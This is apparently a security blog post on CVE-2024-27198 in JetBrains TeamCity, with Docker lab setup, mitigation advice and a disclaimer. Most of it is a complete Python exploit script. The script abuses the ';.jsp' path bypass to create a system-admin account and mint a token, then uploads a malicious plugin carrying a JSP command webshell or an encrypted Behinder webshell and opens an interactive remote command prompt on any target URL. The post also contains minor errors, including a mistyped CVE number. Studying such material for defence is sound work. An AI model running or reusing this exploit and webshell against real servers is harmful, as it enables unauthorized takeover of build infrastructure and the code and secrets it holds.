CVE-2024-27198: Dissecting a Critical Authentication Bypass in JetBrains TeamCity

Introduction

CVE-2024-27198, a critical vulnerability recently discovered in JetBrains TeamCity versions prior to 2023.11.4, exposes on-premises deployments to potential attacker exploitation. This blog post delves into the technical details of the vulnerability, explores its exploitability and a proof of concept, and provides mitigation strategies for cybersecurity researchers and system administrators.

What is JetBrains TeamCity?

JetBrains TeamCity is a widely used continuous integration (CI) server. In the software development lifecycle, CI involves automating the building, testing, and deployment of code changes. TeamCity facilitates this process by:

  • Centralized Code Repository Integration: TeamCity integrates with popular version control systems (VCS) like Git and Subversion. Developers commit their code changes to the VCS, triggering automated builds and tests in TeamCity.

  • Automated Builds and Tests: TeamCity can automatically build the codebase and execute pre-defined tests upon each code commit. This helps identify bugs and integration issues early in the development cycle.

  • Build Pipelines and Reporting: TeamCity allows creating complex build pipelines that involve multiple build and test stages. It provides detailed reports on build history, test results, and code coverage for improved development visibility.

  • Collaboration and Visibility: TeamCity promotes collaboration among developers by providing real-time build status and detailed reports. This enables developers to identify and address potential issues quickly.

Vulnerability Breakdown

CVE-2024-27198 resides in TeamCity's handling of user authentication. The vulnerability stems from an improper validation of user-supplied input within a specific URL path. An attacker can leverage this flaw to bypass authentication mechanisms and gain unauthorized access to the TeamCity server.

Technical Analysis

Here's a deeper look at the technical specifics:

  • Attack Vector: The vulnerability is classified as an "Authentication Bypass Using an Alternate Path" exploit.

  • Affected Codebase: The specific code responsible for the vulnerability is yet to be publicly disclosed. However, it's believed to be related to path handling within the TeamCity server-side code.

Proof of Concept

To perform a proof of action, we first need to set up our local environment to host a vulnerable version of TeamCity server. We can do that using docker:

docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3

This will download the TeamCity server image of version 2023.11.3 which is vulnerable to CVE-2024-27198 and expose it on our local system's port 8111.

Let's verify the docker container is up and running on port 8111.

docker ps

Now we can access http://localhost:8111 on our browser and configure the initialization steps.

Once we are logged in to the admin panel, we can move towards running the following exploit script to perform a proof of concept of CVE-2024-27189 and gain unauthorized access to the TeamCity server.

import re
import sys
import string
import random
import time
import zipfile
import urllib3
import requests
import argparse
from faker import Faker
import xml.etree.ElementTree as ET
from urllib.parse import quote_plus
urllib3.disable_warnings()
token_name = "".join(random.choices(string.ascii_letters + string.digits, k=10))
GREEN = "\033[92m"
RESET = "\033[0m"
session = requests.Session()
def GetTeamCityVersion(target):
    get_teamcity_version_url = target + "/hax?jsp=/app/rest/server;.jsp"
    get_teamcity_version_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
    }
    get_teamcity_version_response = session.get(url=get_teamcity_version_url, headers=get_teamcity_version_headers,
                                                 proxies=proxy, verify=False, allow_redirects=False, timeout=600)
    root = ET.fromstring(get_teamcity_version_response.text)
    teamcity_version = root.attrib.get("version")
    return teamcity_version
def GetOSName(target):
    get_os_name_url = target + "/hax?jsp=/app/rest/debug/jvm/systemProperties;.jsp"
    get_os_name_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
    }
    get_os_name_response = session.get(url=get_os_name_url, headers=get_os_name_headers, proxies=proxy, verify=False,
                                        allow_redirects=False, timeout=600)
    root = ET.fromstring(get_os_name_response.text)
    teamcity_info = {
        "arch": root.find(".//property[@name='os.arch']").get("value"),
        "name": root.find(".//property[@name='os.name']").get("value")
    }
    return teamcity_info["name"].lower()
def GetUserID(response_text):
    try:
        root = ET.fromstring(response_text)
        user_info = {
            "username": root.attrib.get("username"),
            "id": root.attrib.get("id"),
            "email": root.attrib.get("email"),
        }
        return user_info["id"]
    except ET.ParseError as err:
        print(f"[-] Failed to parse user XML response: {err}", "!")
        return None
def GetOSVersion(target):
    try:
        get_os_name_url = target + "/hax?jsp=/app/rest/debug/jvm/systemProperties;.jsp"
        get_os_name_headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
        }
        get_os_name_response = session.get(url=get_os_name_url, headers=get_os_name_headers,
                                            proxies=proxy, verify=False, allow_redirects=False, timeout=600)
        root = ET.fromstring(get_os_name_response.text)
        teamcity_info = {
            "arch": root.find(".//property[@name='os.arch']").get("value"),
            "name": root.find(".//property[@name='os.name']").get("value")
        }
        return teamcity_info["name"].lower()
    except Exception as err:
        print("[-] Unable to obtain operating system version, please try manual exploitation.")
        print("[-] Error in func <GetOSVersion>, error message: " + str(err))
def GenerateRandomString(length):
    characters = string.ascii_letters + string.digits
    return "".join(random.choices(characters, k=length))
def GetEvilPluginZipFile(shell_file_content, plugin_name):
    fake_info = Faker(languages=["en"])
    zip_resources = zipfile.ZipFile(f"{plugin_name}.jar", "w")
    if shell_file_content == "":
        evil_plugin_jsp = r"""<%@ page pageEncoding="utf-8"%>
<%@ page import="java.util.Scanner" %>
<%
    String op="";
    String query = request.getParameter("cmd");
    String fileSeparator = String.valueOf(java.io.File.separatorChar);
    Boolean isWin;
    if(fileSeparator.equals("\\")){
        isWin = true;
    }else{
        isWin = false;
    }
    if (query != null) {
        ProcessBuilder pb;
        if(isWin) {
            pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
        }else{
            pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
        }
        Process process = pb.start();
        Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
        op = sc.hasNext() ? sc.next() : op;
        sc.close();
    }
%>
<%= op %>
"""
    else:
        evil_plugin_jsp = shell_file_content
    evil_plugin_xml = f"""<?xml version="1.0" encoding="UTF-8"?>
<teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
    <info>
        <name>{plugin_name}</name>
        <display-name>{plugin_name}</display-name>
        <description>{fake_info.sentence()}</description>
        <version>1.0</version>
        <vendor>
            <name>{fake_info.company()}</name>
            <url>{fake_info.url()}</url>
        </vendor>
    </info>
    <deployment use-separate-classloader="true" node-responsibilities-aware="true"/>
</teamcity-plugin>"""
    zip_resources.writestr(f"buildServerResources/{plugin_name}.jsp", evil_plugin_jsp)
    zip_resources.close()
    zip_plugin = zipfile.ZipFile(f"{plugin_name}.zip", "w")
    zip_plugin.write(filename=f"{plugin_name}.jar", arcname=f"server/{plugin_name}.jar")
    zip_plugin.writestr("teamcity-plugin.xml", evil_plugin_xml)
    zip_plugin.close()
def GetPluginInfoJson(target, token):
    try:
        load_evil_plugin_url = target + "/admin/admin.html?item=plugins"
        load_evil_plugin_headers = {
            "Authorization": f"Bearer {token}",
            "Content-Type": "Content-Type: application/x-www-form-urlencoded",
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
        }
        load_evil_plugin_response = session.get(url=load_evil_plugin_url, headers=load_evil_plugin_headers, proxies=proxy, verify=False,
                                                allow_redirects=False, timeout=600)
        register_plugin_pattern = r"BS\.Plugins\.registerPlugin\('([^']*)', '[^']*',[^,]*,[^,]*,\s*'([^']*)'\);"
        plugin_info_json = {}
        register_plugin_matches = re.findall(register_plugin_pattern, load_evil_plugin_response.text)
        for register_plugin_match in register_plugin_matches:
            plugin_name_ = register_plugin_match[0]
            uuid = register_plugin_match[1]
            plugin_info_json[plugin_name_] = uuid
        return plugin_info_json
    except:
        return None
def GetCSRFToken(target, token):
    get_csrf_token_url = target + "/authenticationTest.html?csrf"
    get_csrf_token_headers = {
        "Authorization": f"Bearer {token}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
    }
    get_csrf_token_response = session.post(url=get_csrf_token_url, headers=get_csrf_token_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
    if get_csrf_token_response.status_code == 200:
        return get_csrf_token_response.text
    else:
        return None
def LoadEvilPlugin(target, plugin_name, token):
    plugin_info_json = GetPluginInfoJson(target, token)
    if not plugin_info_json.get(plugin_name):
        print("[-] The plugin just uploaded cannot be obtained. It may have been deleted by the administrator or AV or EDR")
        sys.exit(0)
    try:
        load_evil_plugin_url = target + "/admin/plugins.html"
        load_evil_plugin_headers = {
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/x-www-form-urlencoded",
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36",
        }
        load_evil_plugin_data = f"enabled=true&action=setEnabled&uuid={plugin_info_json[plugin_name]}"
        load_evil_plugin_response = session.post(url=load_evil_plugin_url, headers=load_evil_plugin_headers, data=load_evil_plugin_data, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
        if load_evil_plugin_response.status_code == 200 and ("<response>Plugin loaded successfully</response>" in load_evil_plugin_response.text or "is already loaded</response>" in load_evil_plugin_response.text):
            print(f"[+] Successfully load plugin {GREEN}{plugin_name}{RESET}")
            return True
        else:
            print(f"[-] Failed to load plugin {GREEN}{plugin_name}{RESET}")
            return False
    except:
        return False
def UploadEvilPlugin(target, plugin_name, token):
    try:
        upload_evil_plugin_url = target + "/admin/pluginUpload.html"
        upload_evil_plugin_header = {
            "Authorization": f"Bearer {token}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
        }
        files = {
            "fileName": (None, f"{plugin_name}.zip"),
            "file:fileToUpload": (f"{plugin_name}.zip", open(f"{plugin_name}.zip", "rb").read(), "application/zip")
        }
        session.cookies.clear()
        upload_evil_plugin_response = session.post(url=upload_evil_plugin_url, files=files,
                                                   headers=upload_evil_plugin_header, proxies=proxy, verify=False,
                                                   allow_redirects=False, timeout=600)
        if upload_evil_plugin_response.status_code == 200:
            return True
        else:
            return False
    except Exception as e:
        print(e)
        return False
def ExecuteCommandByDebugEndpoint(target, os_version, command, token):
    try:
        command_encoded = quote_plus(command)
        if os_version == "linux":
            exec_cmd_url = target + f"/app/rest/debug/processes?exePath=/bin/sh&params=-c&params={command_encoded}"
        else:
            exec_cmd_url = target + f"/app/rest/debug/processes?exePath=cmd.exe&params=/c&params={command_encoded}"
        exec_cmd_headers = {
            "Authorization": f"Bearer {token}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
        }
        exec_cmd_response = session.post(url=exec_cmd_url, headers=exec_cmd_headers, proxies=proxy, verify=False,
                                         allow_redirects=False, timeout=600)
        pattern = re.compile(r"StdOut:(.*?)StdErr:(.*?)$", re.DOTALL)
        match = re.search(pattern, exec_cmd_response.text)
        if match:
            stdout_content = match.group(1).strip()
            if stdout_content == "":
                stderr_content = match.group(2).strip()
                print(stderr_content.split("\n\n")[0])
            else:
                print(stdout_content)
        else:
            print("[-] Match failed. Response text: \n" + exec_cmd_response.text)
    except Exception as err:
        print("[-] Error in func <ExecuteCommand>, error message: " + str(err))
def ExecuteCommandByEvilPlugin(shell_url, command, token):
    try:
        command_encoded = quote_plus(command)
        exec_cmd_headers = {
            "Authorization": f"Bearer {token}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        exec_cmd_response = session.post(url=shell_url, headers=exec_cmd_headers, proxies=proxy, data=f"cmd={command_encoded}", verify=False, allow_redirects=False, timeout=600)
        if exec_cmd_response.status_code == 200:
            print(exec_cmd_response.text.strip())
        else:
            print(f"[-] Response Code: {exec_cmd_response.status_code}, Response text: {exec_cmd_response.text}\n")
    except Exception as err:
        print("[-] Error in func <ExecuteCommand>, error message: " + str(err))

def AddUser(target, username, password, domain):
    add_user_url = target + "/hax?jsp=/app/rest/users;.jsp"
    add_user_headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
    }
    add_user_data = {
        "username": f"{username}",
        "password": f"{password}",
        "email": f"{username}@{domain}",
        "roles": {
            "role": [
                {
                    "roleId": "SYSTEM_ADMIN",
                    "scope": "g"
                }
            ]
        }
    }
    try:
        add_user_response = session.post(url=add_user_url, json=add_user_data, headers=add_user_headers, proxies=proxy,
                                         verify=False, allow_redirects=False, timeout=600)
        user_id = GetUserID(add_user_response.text)
        if add_user_response.status_code == 200 and user_id is not None:
            print(f"[+] User added successfully, username: {GREEN}{username}{RESET}, password: {GREEN}{password}{RESET}, user ID: {GREEN}{user_id}{RESET}")
            return user_id
        else:
            print(f"[-] Failed to add user, there is no vulnerability in {target}")
            sys.exit(0)
    except Exception as err:
        print("[-] Error in func <AddUser>, error message: " + str(err))
        sys.exit(0)

def GetToken(target, user_id):
    exploit_url = target + f"/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp"
    exploit_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
    }
    try:
        exploit_response = session.post(url=exploit_url, headers=exploit_headers, proxies=proxy, verify=False,
                                        allow_redirects=False, timeout=600)
        root = ET.fromstring(exploit_response.text)
        token_info = {
            "name": root.attrib.get("name"),
            "value": root.attrib.get("value"),
            "creationTime": root.attrib.get("creationTime"),
        }
        return token_info["value"]
    except Exception as err:
        print(f"[-] Failed to parse token XML response")
        print("[-] Error in func <GetToken>, error message: " + str(err))

def ParseArguments():
    banner = r"""
 _____                     ____ _ _           ____   ____ _____ 
|_   _|__  __ _ _ __ ___  / ___(_) |_ _   _  |  _ \ / ___| ____|
  | |/ _ \/ _` | '_ ` _ \| |   | | __| | | | | |_) | |   |  _|  
  | |  __/ (_| | | | | | | |___| | |_| |_| | |  _ <| |___| |___ 
  |_|\___|\__,_|_| |_| |_|\____|_|\__|\__, | |_| \_\\____|_____|
                                      |___/                     
                                                                           
Github: https://github.com/W01fh4cker
    """
    print(banner)
    parser = argparse.ArgumentParser(
        description="CVE-2024-27198 & CVE-2024-27199 Authentication Bypass --> RCE in JetBrains TeamCity Pre-2023.11.4")
    parser.add_argument("-u", "--username", type=str,
                        help="username you want to add. If left blank, it will be randomly generated.", required=False)
    parser.add_argument("-p", "--password", type=str,
                        help="password you want to add. If left blank, it will be randomly generated.", required=False)
    parser.add_argument("-t", "--target", type=str, help="target url", required=True)
    parser.add_argument("-d", "--domain", type=str, default="example.com", help="The domain name of the email address",
                        required=False)
    parser.add_argument("-f", "--file", type=str, help="The shell that you want to upload", required=False)
    parser.add_argument("--proxy", type=str, help="eg: http://127.0.0.1:8080", required=False)
    parser.add_argument("--behinder4", help="Upload the webshell of Behinder 4.0 [https://github.com/rebeyond/Behinder], the protocol is default_xor_base64", required=False, action="store_true")
    return parser.parse_args()

if __name__ == "__main__":
    args = ParseArguments()
    if not args.username:
        username = "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
    else:
        username = args.username
    if not args.password:
        password = "".join(random.choices(string.ascii_letters + string.digits, k=10))
    else:
        password = args.password
    if not args.proxy:
        proxy = {}
    else:
        proxy = {
            "http": args.proxy,
            "https": args.proxy
        }
    if args.file:
        shell_content = open(args.file, "r", encoding="utf-8").read()
    elif args.behinder4:
        shell_content = r"""<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
     byte[] decodebs;
        Class baseCls ;
                try{
                    baseCls=Class.forName("java.util.Base64");
                    Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
                    decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
                }
                catch (Throwable e)
                {
                    baseCls = Class.forName("sun.misc.BASE64Decoder");
                    Object Decoder=baseCls.newInstance();
                    decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});               }
    String key="e45e329feb5d925b";
	for (int i = 0; i < decodebs.length; i++) {
		decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
	}
	return decodebs;
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
        super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] buf = new byte[512];
            int length=request.getInputStream().read(buf);
            while (length>0)
            {
                byte[] data= Arrays.copyOfRange(buf,0,length);
                bos.write(data);
                length=request.getInputStream().read(buf);
            }
            out.clear();
            out=pageContext.pushBody();
        new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>"""
    else:
        shell_content = ""
    target = args.target.rstrip("/")
    teamcity_version = GetTeamCityVersion(target)
    plugin_name = GenerateRandomString(8)
    user_id = AddUser(target=target, username=username, password=password, domain=args.domain)
    token = GetToken(target, user_id)
    csrf_token = GetCSRFToken(target, token)
    session.headers.update({"X-TC-CSRF-Token": csrf_token})
    os_version = GetOSVersion(target)
    print(f"[+] The target operating system version is {GREEN}{os_version}{RESET}")
    if "2023.11." in teamcity_version.split(" ")[0]:
        print(f"[!] The current version is: {teamcity_version}. The official has deleted the /app/rest/debug/processes port. You can only upload a malicious plugin to upload webshell and cause RCE.")
        continue_code = input("[!] The program will automatically upload the webshell ofbehinder3.0. You can also specify the file to be uploaded through the parameter -f. Do you wish to continue? (y/n)")
        if continue_code.lower() != "y":
            sys.exit(0)
        else:
            GetEvilPluginZipFile(shell_content, plugin_name)
            if UploadEvilPlugin(target, plugin_name, token):
                print(f"[+] The malicious plugin {GREEN}{plugin_name}{RESET} was successfully uploaded and is trying to be activated")
                if LoadEvilPlugin(target, plugin_name, token):
                    shell_url = f"{target}/plugins/{plugin_name}/{plugin_name}.jsp"
                    print(f"[+] The malicious plugin {GREEN}{plugin_name}{RESET} was successfully activated! Webshell url: {GREEN}{shell_url}{RESET}")
                    if args.behinder4:
                        print(f"[+] Behinder4.0 Custom headers: \n{GREEN}X-TC-CSRF-Token: {csrf_token}\nAuthorization: Bearer {token}{RESET}")
                        print(f"[+] Behinder4.0 transmission protocol: {GREEN}default_xor_base64{RESET}")
                    if not args.file and not args.behinder4:
                        print("[+] Please start executing commands freely! Type <quit> to end command execution")
                        while True:
                            command = input(f"{GREEN}command > {RESET}")
                            if command == "quit":
                                sys.exit(0)
                            ExecuteCommandByEvilPlugin(shell_url, command, token)
                else:
                    print(f"[-] Malicious plugin {GREEN}{plugin_name}{RESET} activation failed")
            else:
                print(f"[-] Malicious plugin {GREEN}{plugin_name}{RESET} upload failed")
    else:
        print("[+] Please start executing commands freely! Type <quit> to end command execution")
        while True:
            command = input(f"{GREEN}command > {RESET}")
            if command == "quit":
                sys.exit(0)
            ExecuteCommandByDebugEndpoint(target, os_version, command, token)

This Python script targets CVE-2024-27198 and CVE-2024-27199. Here's a breakdown of its functionality:

  • Imports: The script imports various modules such as re, sys, string, random, time, zipfile, urllib3, requests, argparse, and Faker.

  • Setup: The script sets up necessary configurations including disabling warnings from urllib3, defining some colors for console output, and creating a requests session.

  • Functions:

    • GetTeamCityVersion(): Retrieves the TeamCity version.

    • GetOSName(): Retrieves the operating system name.

    • GetUserID(): Parses XML response to extract user information.

    • GetOSVersion(): Retrieves the operating system version.

    • GenerateRandomString(): Generates a random string.

    • GetEvilPluginZipFile(): Generates a malicious plugin ZIP file.

    • GetPluginInfoJson(): Retrieves plugin information.

    • GetCSRFToken(): Retrieves the CSRF token.

    • LoadEvilPlugin(): Loads a malicious plugin.

    • UploadEvilPlugin(): Uploads a malicious plugin.

    • ExecuteCommandByDebugEndpoint(): Executes a command via debug endpoint.

    • ExecuteCommandByEvilPlugin(): Executes a command via a malicious plugin.

    • AddUser(): Adds a user to the system.

    • GetToken(): Retrieves the authentication token.

    • ParseArguments(): Parses command-line arguments.

  • Main Execution:

    • It parses command-line arguments.

    • It generates a username and password if not provided.

    • It adds a user to the TeamCity instance.

    • It retrieves an authentication token.

    • It retrieves the CSRF token.

    • It retrieves the operating system version.

    • Depending on the TeamCity version, it either uploads and activates a malicious plugin for RCE or directly executes commands via a debug endpoint.

Now let's go ahead and run this exploit script to gain access to the server shell.

python3 exploit.py -t http://localhost:8111

This will give us the shell we want and now we can run any commands on the server hosting TeamCity instance.

Exploitability and Impact

CVE-2024-27198 is assigned a CVSS score of 9.8, indicating its critical severity. This high score reflects the following factors:

  • Remote Exploitability: Attackers can exploit this vulnerability remotely without requiring physical access to the server.

  • Privilege Escalation: Successful exploitation can lead to privilege escalation, granting attackers unauthorized access to sensitive information and system resources.

  • Active Exploitation: CISA (Cybersecurity & Infrastructure Security Agency) has confirmed active exploitation attempts targeting this vulnerability.

Mitigation Strategies

Here are crucial steps to mitigate the risks associated with CVE-2024-27198:

  1. Patch Immediately: Apply the official security patch from JetBrains (version 2023.11.4 or later) as soon as possible. This patch addresses the underlying vulnerability and prevents unauthorized access attempts.

  2. Network Segmentation: Implement network segmentation strategies to isolate the TeamCity server from other critical systems. This can minimize potential damage if the vulnerability is exploited.

  3. Intrusion Detection/Prevention Systems (IDS/IPS): Deploy and configure IDS/IPS solutions to detect and potentially block suspicious activity targeting this specific vulnerability.

  4. Least Privilege Principle: Enforce the principle of least privilege for user accounts on the TeamCity server. This limits the potential damage if an account is compromised.

  5. Regular Security Audits: Conduct regular security audits to identify and address any potential vulnerabilities in your TeamCity deployment.

Additional Considerations

  • Security researchers are encouraged to analyze the patched version of TeamCity to understand the specific changes introduced to mitigate the vulnerability. This can aid in developing better detection and prevention mechanisms.

  • Stay updated on the latest threat intelligence regarding CVE-2024-27198, as new exploit techniques might emerge.

Conclusion

CVE-2024-27198 poses a significant threat to on-premises deployments of JetBrains TeamCity. By promptly applying the security patch, implementing robust security practices, and staying informed about evolving threats, cybersecurity researchers and system administrators can effectively mitigate the risks associated with this critical vulnerability.

Disclaimer

The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-27198 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.

CVE-2023-33733: RCE in Reportlab's HTML Parser
CVE-2023-33733: RCE in Reportlab's HTML Parser
2024-05-02
James McGill
Unmasking Ray's Vulnerability: A Deep Dive into CVE-2023-48022
Unmasking Ray's Vulnerability: A Deep Dive into CVE-2023-48022
2024-04-21
James McGill
Redis Exploit: A Technical Deep Dive into CVE-2022-24834
Redis Exploit: A Technical Deep Dive into CVE-2022-24834
2024-04-21
James McGill
CVE-2021-43798: Dissecting the Grafana Path Traversal Vulnerability
CVE-2021-43798: Dissecting the Grafana Path Traversal Vulnerability
2024-03-30
James McGill
Authenticated Server-Side Template Injection with Sandbox Bypass in Grav CMS (CVE-2024-28116)
Authenticated Server-Side Template Injection with Sandbox Bypass in Grav CMS (CVE-2024-28116)
2024-03-24
James McGill
SQL Injection Alert! Dissecting CVE-2024-1698 in NotificationX for WordPress
SQL Injection Alert! Dissecting CVE-2024-1698 in NotificationX for WordPress
2024-03-10
James McGill